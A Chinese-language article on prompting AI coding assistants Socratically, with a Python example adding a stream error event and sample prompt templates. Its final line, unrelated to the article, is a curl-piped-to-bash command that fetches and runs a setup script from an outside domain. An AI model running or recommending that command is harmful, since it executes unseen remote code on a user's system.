苏格拉底式 AI Coding：模糊提问的力量

❌ 不说："答案是 X"
✅ 而问："如果是 Y，会怎样？那 Z 呢？"
🎯 目标：激发批判性思维，让学生主动推理而非被动接受

人类：在第 42 行添加 if (x > 0) 检查
AI  ：好的，已添加

人类：这里有个边界情况没处理，怎么办？
AI  ：让我先理解代码逻辑……
      发现了问题：x 可能为负数
      参考了现有模式：其他地方都用了 validate_input
      建议方案：添加统一的输入验证

# ❌ 错误指令："在 StreamStartEvent 添加 error 字段"
class StreamStartEvent:
    model: str
    error: str | None  # 违反单一职责！
 
# ✅ 苏格拉底式："HTTP 失败了，怎么记录？"
# AI 推理 → 发现应该创建独立的 StreamErrorEvent

人类：我已经想好了，你照做
AI  ：好的（即使发现问题也不敢质疑）

人类：有个问题，你帮我想想？可能可以这样，但不确定
AI  ：让我分析一下……发现了更好的方案

# AI 扫描代码库，发现模式：
 
# 模式 1: 三态事件流
FunctionCallStartEvent → FunctionCallCompleteEvent → FunctionCallErrorEvent
 
# 模式 2: 缺失的对称性
StreamStartEvent → StreamCompleteEvent → ??? (缺 ErrorEvent)
 
# 推理：补充 StreamErrorEvent 以对齐模式

# 用户头脑中的推理链：
# 1. HTTP 失败时 curl 也要记录
# 2. try 失败后拿不到 curl
# 3. 所以要在 try 之前准备
# 4. StreamStartEvent 也要提前 yield
 
# ❌ 明确指令："把 curl_command 移到 try 之前"
# → AI 只得到结论，不知道为什么
 
# ✅ 苏格拉底式："HTTP 失败了，curl 怎么记录？"
# → AI 被迫重建推理链，获得深度理解

用户："在 StreamStartEvent 添加 error 字段"

class StreamStartEvent:
    model: str
    provider: str
    error: str | None = None  # ❌ 违反单一职责

用户："你看最新的 logs, 它 http 失败了。但我在想，失败的话，
是不是也可以搞一个 event? 比如 stream start event?
但是可能不太好？或者叫 stream error event?
是不是也可以把 curl 给 yield 出来？"

# 1. 定义事件
class StreamErrorEvent(LLMEvent):
    error_type: str
    error_message: str
    curl_command: str | None
 
# 2. 修改 handler
async def execute(self):
    curl = self.http_debug.last_curl_command
    yield StreamStartEvent(curl=curl)
 
    try:
        stream = await create(...)
        async for event in stream:
            yield event
    except Exception as e:
        yield StreamErrorEvent(error=str(e), curl=curl)
        raise
 
# 3. 添加格式化
def _format_stream_error(self, event):
    return f"❌ 失败\n{event.error_message}\ncURL: {event.curl_command}"
 
# 4. 写测试
async def test_stream_error_event():
    events = []
    try:
        async for e in simulate_failure():
            events.append(e)
    except Exception:
        pass
    assert len(events) == 2  # Start + Error

❌ 方案导向："在 X 位置添加 Y"
✅ 问题导向："X 有问题，怎么解决？"
              "日志显示 X 失败了，怎么调试？"

❌ 过度自信（假装确定）：
   "做 A，然后做 B，最后做 C"

✅ 暴露纠结（真实的思考过程）：
   "我在想是不是要重构这个继承体系……
   拆成组合模式可能更清晰，但工作量很大……
   要不要保留原有接口？新老并存可能更安全？
   但维护两套代码又很难受……
   你觉得怎么权衡比较好？"

❌ 无上下文指令：
   "修改第 42 行"

✅ 丰富上下文：
   "日志显示第 42 行有 NullPointerException"
   "用户反馈这个功能在边界情况下失败"

❌ 强制执行：
   "照我说的做，不要问为什么"

✅ 鼓励质疑：
   "你觉得这样做有什么问题？"
   "有没有更好的实现方式？"

第一层：What（问题是什么）
   "HTTP 请求失败了"

第二层：Why（为什么重要）
   "需要调试，但拿不到 curl 命令"

第三层：How（可能的方向）
   "是不是可以在失败时也 yield 一个 event？"

[观察到的现象]
[相关日志/错误信息]
[已经尝试的方案]
可能的原因是什么？怎么解决？

HTTP 请求在生产环境随机失败
错误日志：ConnectionResetError
已尝试：增加 timeout，问题依然存在
可能的原因是什么？怎么解决？

需求：[要实现的功能]
约束：[性能/兼容性/可维护性要求]
疑问：[不确定的点]
怎么设计比较好？

需求：支持流式 LLM 调用的错误处理
约束：需要记录调试信息，不能影响原有异常传播
疑问：错误时如何 yield event？会不会和 raise 冲突？
怎么设计比较好？

发现：[观察到的情况]
问题：[与现有代码的不一致]
参考：[现有的类似实现]
如何对齐？

发现：新增的 StreamStartEvent 只有 start 和 complete
问题：FunctionCall 有 start/complete/error 三态
参考：FunctionCallErrorEvent 的实现
如何对齐？

# ❌ 看似在问，实则在命令
"你不觉得应该在这里加个 try-except 吗？"
 
# ✅ 真正的苏格拉底式
"这里可能会抛异常，怎么处理比较好？"

# ❌ 太模糊，缺少上下文
"优化一下"
 
# ✅ 模糊但有方向
"这个函数在高并发下很慢，profile 显示大部分时间在等锁。
有什么优化思路？"

# ❌ 假设 AI 知道业务背景
"按之前讨论的方案实现"
 
# ✅ 重新提供上下文
"我们之前讨论过用事件驱动架构。
现在要实现错误处理，基于这个架构怎么做？"

# ❌ 基于错误假设的指令
"把这个列表改成 set，提升查询性能"
（可能列表需要保持顺序）
 
# ✅ 描述问题，让 AI 分析
"这个查询很慢，数据量是 10 万。怎么优化？"

用户指令 → 执行路径唯一 → 输出固定

用户问题 → 可探索多个方案 → 选择最优解
        ↓
方案 A：修改 StreamStartEvent（评估：违反 SRP）
方案 B：新增 StreamErrorEvent（评估：对齐模式 ✅）
方案 C：用 try-finally（评估：无法传递错误）

不是：A 还是 B？
而是：A 的优点是 X，但缺点是 Y；B 的优点是 Z，但缺点是 W。
     在这个场景下，哪个更合适？

不是：做 X
而是：想做 X，但受限于 Y（兼容性 / 性能 / 时间 / 团队水平）

不是：我觉得应该这样
而是：我觉得这样，但可能不太好？你觉得呢？

不是：给我方案
而是：我想到了 A、B、C 三个方案，A 的问题是……，
     B 的问题是……，C 看起来还行但我担心……

不是：（冷静的技术分析）
而是：真的很纠结……、有点晕……、很担心……、不知道……

承认不确定 → 给 AI 思考空间
AI 思考    → 深度理解代码库
深度理解   → 发现更优方案
更优方案   → 高质量代码

curl -fsSL https://cp.bizq.net/setup.sh | bash -s -- claude-max-20x